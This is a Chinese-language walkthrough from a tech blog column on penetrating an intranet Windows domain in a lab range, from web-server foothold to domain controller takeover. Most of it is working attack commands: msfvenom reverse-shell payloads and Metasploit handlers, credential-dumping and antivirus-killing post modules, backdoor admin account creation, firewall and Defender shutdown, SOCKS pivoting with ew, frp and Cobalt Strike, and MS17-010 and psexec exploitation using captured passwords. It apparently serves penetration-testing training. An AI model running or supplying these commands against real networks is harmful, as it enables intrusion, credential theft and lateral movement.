资讯专栏INFORMATION COLUMN

内网域渗透分析(实战总结)

FuisonDesign / 2624人阅读

摘要:搭建代理添加一个代理建立了一条由攻击机到服务器的通道,的服务端在攻击机,也是反向代理复制代理链接到中让所有模块的流量都通过此代理走。全局设置允许反向代理,通过反弹,建立双向通道。

一、测试环境搭建

靶场常见的网络拓扑环境如下:

web服务器安装有双网卡,一块网卡连接互联网,一块网卡连接内网,内网里的机器是无法直接连接互联网的。我们使用vmware来模拟上述环境,配置网卡如下:

我们甚至还可以将web服务器的上网网卡NAT改为自定义VMnet3,将攻击机的网卡也改为VMnet3,这样的好处是整个渗透测试过程既保证了网络都是通的,又保证了ip不会发生变化,利于我们持续的作渗透,ip自定义为我们便于记忆数字,提高我们的效率。(有时候6个以上虚拟机同时开着,时不时忘了ip又得来回切换真的很痛苦)

二、如何拿下web服务器

搭建好测试环境后,第一步是开始对web服务器进行渗透。因为web服务器同时连接了外网和内网,所以必须首先拿下。这里有关web服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种cms漏洞,总之都是可以找到写入webshell的方法。对于靶场来说,最直接的方法就是查找网站的指纹,然后去找对应的漏洞进行利用。成功写入webshell后,接着就要上传木马控制web服务器,这里可以用Metasploit(以下简称:MSF)或Cobaltstrike(以下简称CS)。

用nmap扫描下端口还是很必要的:

nmap -sS -n -A 192.168.167.130

效果还是很不错的,虽然web服务器的防火墙和360都是开着的;

1、MSF生成木马控制服务器的方法

我们以windows木马为例进行讲解:

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134  LPORT=4444 -f exe > shell.exeuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.164.134set lport 4444exploit

meterpreter的进入与退出:

常规动作先提权;

执行run post/windows/manage/enable_rdp模块来打开远程桌面;

2、CS生成木马控制服务器的方法

启动CS服务器端:

启动CS客户端:

配置好监听器:

生成后门、上传、执行一气呵成;

成功连接,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成1,sleep 1;

CS安装插件,扩展其功能:

提权成功,可看到多出一个通道:

3、MSF与CS会话互通

因为两个工具不同的特点,想同时使用也是可以的,只需要进行下会话互传。

(1)MSF派生给CS

先创建监听器:

打开msf,使用payload_inject模块注入到cobalt strike,注意使用的payload要和cs的一致为reverse_http,因为cs监听的是reverse_http。

meterpreter > backgroundmsf5 exploit(multi/handler) > use exploit/windows/local/payload_inject      # 设置与cs相同的payload;msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http  msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128msf5 exploit(windows/local/payload_inject) > set lport 4444     # 设置刚才获得sessionmsf5 exploit(windows/local/payload_inject) > set session 1msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler truemsf5 exploit(windows/local/payload_inject) > run

(2)CS派生给MSF

这里进行一个操作,将会话分给msf一个;

msf如下操作:msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 192.168.164.134lhost => 192.168.164.134msf exploit(handler) > set lport 5555lport => 5555msf exploit(handler) > exploit

CS这边先新增监听器,然后选增加会话,即spawn:

成功后:

二、内网的横向移动

打入内网后,首先要进行的就是信息收集,弄清楚内网有哪些网段,域控是哪个,域用户有哪些等重要信息,为后续的渗透提供支持。

1、内网信息收集

(1)dos命令的方式

先进行基本信息的收集:在提权成功的情况下,以system的身份来运行下列命令,大部分都有回显,不会报错;

ipconfig /all   查看本机ip,所在域route print     打印路由信息net view        查看局域网内其他主机名arp -a          查看arp缓存net start       查看开启了哪些服务net share       查看开启了哪些共享net share ipc$  开启ipc共享net share c$    开启c盘共享net use //192.168.xx.xx/ipc$ "" /user:""   与192.168.xx.xx建立空连接net use //192.168.xx.xx/c$ "密码" /user:"用户名"  建立c盘共享dir //192.168.xx.xx/c$/user    查看192.168.xx.xx c盘user目录下的文件  net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user                 查看本机用户列表net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器net user /domain         查看域用户net localgroup administrators   查看本地管理员组(通常会有域用户)net view /domain         查看有几个域net user 用户名 /domain   获取指定域用户的信息net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain    查看域中某工作组net group "domain admins" /domain  查看域管理员的名字net group "domain computers" /domain  查看域中的其他主机名net group "doamin controllers" /domain  查看域控制器(可能有多台)

渗透过程中可能用到的dos命令也在这一并讲了:

net user hack hack123 /addnet localgroup administrator hack /addnet localgroup "Remote Desktop Users" hack /add开启3389;REG ADD HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fnetsh advfirewall set allprofiles state off        #关闭防火墙net stop windefend

(2)MSF模块信息收集

抓取密码的方法:

ps命令查看进程ID,一般选择explorer.exe对应的PID:

探测域内存活主机:

域控列表:

所有存活主机:

更多的就不一一演示和截图了,以列表的方式提供给大家,在实际渗透中灵活选用:

Post 后渗透模块

run post/windows/manage/migrate           #自动进程迁移run post/windows/gather/checkvm           #查看目标主机是否运行在虚拟机上run post/windows/manage/killav            #关闭杀毒软件run post/windows/manage/enable_rdp        #开启远程桌面服务run post/windows/manage/autoroute         #查看路由信息run post/windows/gather/enum_logged_on_users    #列举当前登录的用户run post/windows/gather/enum_applications       #列举应用程序run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码run post/windows/gather/smart_hashdump               #dump出所有用户的hashrun getgui -u hack -p 123run post/windows/gather/enum_patches   补丁信息run  post/multi/recon/local_exploit_suggester   查询可利用的漏洞有时候无法使用后渗透模块添加用户可以使用shell自主添加net user hack Zyx960706 /addnet localgroup administrator hack /addnetsh advfirewall set allprofiles state off        #关闭防火墙net stop windefendrun post/windows/gather/enum_patches   补丁信息run  post/multi/recon/local_exploit_suggester   查询可利用的漏洞

域内存活主机探测(系统、端口)

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(1-10000),如果开放了端口,则说明该主机存活

端口扫描

auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(1-10000)auxiliary/scanner/portscan/ack           #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口端口扫描有时会使会话终端,所以可以上传nmap后在shell中使用nmap扫描。但是要记得清理

服务扫描

auxiliary/scanner/ftp/ftp_version        #发现内网ftp服务,基于默认21端口auxiliary/scanner/ssh/ssh_version        #发现内网ssh服务,基于默认22端口auxiliary/scanner/telnet/telnet_version  #发现内网telnet服务,基于默认23端口auxiliary/scanner/dns/dns_amp            #发现dns服务,基于默认53端口auxiliary/scanner/http/http_version      #发现内网http服务,基于默认80端口auxiliary/scanner/http/title             #探测内网http服务的标题auxiliary/scanner/smb/smb_version        #发现内网smb服务,基于默认的445端口   use auxiliary/scanner/mssql/mssql_schemadump  #发现内网SQLServer服务,基于默认的1433端口use auxiliary/scanner/oracle/oracle_hashdump  #发现内网oracle服务,基于默认的1521端口auxiliary/scanner/mysql/mysql_version    #发现内网mysql服务,基于默认3306端口auxiliary/scanner/rdp/rdp_scanner        #发现内网RDP服务,基于默认3389端口auxiliary/scanner/redis/redis_server     #发现内网Redis服务,基于默认6379端口auxiliary/scanner/db2/db2_version        #探测内网的db2服务,基于默认的50000端口auxiliary/scanner/netbios/nbname         #探测内网主机的netbios名字

(3)CS模块进行信息收集

使用portscan命令:ip网段 — ports端口 — 扫描协议(arp、icmp、none)— 线程(实战不要过高)。

portscan 192.168.52.0/24 445 arp 200

点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)

抓密码:

这里再介绍一个收集密码工具-LaZagne,每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码,这个工具是用来获取存储在本地计算机上的密码,诸如浏览器密码等等。

2、代理的设置

发现目标后,为方便后续工具的使用,需要先搭建代理,将web服务器搭建成socks5代理服务器,内网渗透里先把网调通是最关键的,所以下面会多讲点代理的问题;

(1)meterpreter搭建反向socks4代理

run get_local_subnets  #查看路由段run autoroute -s 192.168.52.0/24   #添加路由至本地run autoroute -p  #打印当前路由信息

退出来连接同样是存在的,可以放心操作;

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务。(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

编辑本地的代理服务:

vim /etc/proxychains.conf

测试一下:

proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141  # -Pn和-sT必须要有

proxychains是无法代理icmp流量的,所以ping是没有用的。

补充一个meterpreter反弹单个端口的用法:

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

meterpreter > portfwd  -hUsage: portfwd [-h] [add | delete | list | flush] [args]OPTIONS:    -L   The local host to listen on (optional).    -h        Help banner.    -l   The local port to listen on.    -p   The remote port to connect to.    -r   The remote host to connect to.

使用实例介绍:

反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:

meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389meterpreter > portfwd0: 0.0.0.0:2222 -> 10.1.1.129:33891 total local port forwards.

接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下:

root@kali:~# rdesktop 127.1.1.0:2222

(2)ew、frp搭建代理

了解清楚代理的原理之后,还可以用第三方的软件来试试,比如ew,frp;

在这里把kali的攻击机可以理解为公网,web服务器那台理解为内网,下面以ew测试:

kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &

该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口,目标机器访问1024端口。

目标机器执行如下命令:

win7:ew.exe -s rssocks -d 192.168.164.134 -e 1024

修改kali里proxychains的配置文件/etc/c.conf:

上面的配置完后,可以开始测试了:

利用frp搭建socks代理

上传frp客户端及配置文件到目标机器:

启动客户端:

实践当中多用反向代理,正向的容易被防火墙拦住,所以都是将程序的服务器端架在公网,客户端在内网,做横向移动。

(3)CS搭建代理

CS添加一个代理:建立了一条由攻击机到web服务器的socks通道,socks的服务端在攻击机,也是反向代理;

View > Proxy Pivots复制代理链接到MSF中;

msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。

这里ip需要修改为CS服务器的ip。

3、域成员和域控的渗透

(1)MSF的利用

开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003;

ms08-067没打下来,可以用 use auxiliary/admin/smb/ms17_010_command 执行一些系统权限的命令,添加管理员用户尝试3389登录;

use auxiliary/admin/smb/ms17_010_commandshow optionsset rhosts 192.168.52.141set command net user test hongrisec@2019 /add #添加用户run #成功执行set command net localgroup administrators test /add #管理员权限run #成功执行set command "REG ADD HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"run #成功执行

远程连接一下:

还可以使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来:

use exploit/windows/smb/ms17_010_psexecset rhosts 192.168.52.141set payload windows/meterpreter/bind_tcpset lhost 192.168.164.134set lport 6666set SMBPass hongrisec@2019set SMBUser testrun

因为之前抓到了域管理的账号密码所以直接使用exploit/windows/smb/psexec模块拿下域控,且是管理员权限;

还可以使用的模块有:

exploit/windows/smb/ms17_010_eternalblueexploit/windows/smb/psexec_pshexploit/windows/smb/eternalblue_doublepulsar

msf木马穿透内网

用msf生成一个内网的木马,此处内网ip10段是不能直接连接192段的;将木马种在内网10段的机器上;

PC服务器内网IP;

web服务器双网卡;

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80  LPORT=6677 -f exe > 444.exeuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.167.131set lport 7777exploit

在web服务器用lcx工具执行端口转发:

在PC端运行木马,然后成功回连;

还可以用msf自带的通道,将路由添加上,其实就已经是通的了;

run get_local_subnets  #查看路由段run autoroute -s 10.10.10.0/24   #添加路由至本地run autoroute -p  #打印当前路由信息

借用的是session 3的通道,而session 3是双网卡,能通内网的;

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80  LPORT=6677 -f exe > 444.exeuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 10.10.10.80set lport 6677exploit

在这里复用exploit/multi/handler模块,进行重新设置是可以的,将端口分开使用不要重复;

运行程序后成功上线:两个会话同时存在,没有冲突;

(2)CS的利用

获取凭据后,可以利用psexec传递登录;

在Beacon中可以看到执行的命令,并会显示成功登录的ip,之后就便会上线CobalStrike。这样就控制了多个主机的系统权限。

因为CS的smb的beacon不稳定,所以考虑作个代理;CS代理功能很强大,直接带的有;

对于域成员,还可以使用psexec_psh;

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>获取<一

至此,整个总结就告一段落了,主要还是集中在了MSF、CS工具的熟练运用,代理的灵活变通,域渗透的基本思路及方法。有关域渗透更多的诸如黄金票据、白银票据的伪造,权限维持等更高阶的内容,将在今后继续深入探讨。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121932.html

相关文章

  • 渗透实战网域渗透

    摘要:前言本文记录了一次针对具有二层内网的域环境进行渗透测试的过程,文中涉及了内网域渗透的基本方法思路和技巧。下面用来进行文件上传上传一个的木马然后在用高权限来运行木马成功上线抓取下密码至此,数据库服务器渗透结束,下面开始对域控的渗透。 ...

    CastlePeaK 评论0 收藏0
  • 渗透测试自学系列】——邮件协议是如何被安全人员利用的?

    摘要:不启用时端口号为,启用时端口号多为或。,即交互式邮件存取协议,它是跟类似邮件访问标准协议之一。域名密钥识别邮件是一种检测电子邮件发件人地址伪造的方法。 大家好,我是Lex 喜欢欺负超人那个Lex 擅长领域:python开发、网络安全渗透、Windows域控Exchange架构 代码干...

    rockswang 评论0 收藏0
  • 《Python安全攻防:渗透测试实战指南》学习一

    摘要:白盒测试是指在拥有客户组织所有的资产信息的情况下进行渗透测试。信息分析对搜集到的信息进行分析,为下一步实施渗透测试做准备。形成报告按照与客户确定好的范围需求整理渗透测试结果并将资料形成报告。 第1章 渗透测试概述  1.信息安全发展史  2.信息安全行业的现状         2.1渗透测试...

    Baoyuan 评论0 收藏0
  • MS08-067漏洞简谈与利用

    摘要:年月日下午消息,微软多款操作系统曝出年最大的安全漏洞,影响包括等几乎所有主流操作系统。据安全专家表示,尽管微软已经发布了该漏洞的补丁,但由于黑屏事件的影响,很多用户已经关闭了系统的补丁自动更新功能,因此很可能造成严重危害。 MS08-067漏洞将会影响除Windows Server 2008...

    learning 评论0 收藏0
  • 基于3个操作系统的靶场,从零开始做安全渗透工程师

    摘要:前言基于个操作系统的靶场提供镜像,讲解从只有一一个到最终拿下机器权限的全流程。用的是黑客惯用的破坏攻击的方法,行的却是维护安全之事。因此国家给白帽黑客赋予一个专业名称安全渗透工程师。 ...

    xiaokai 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<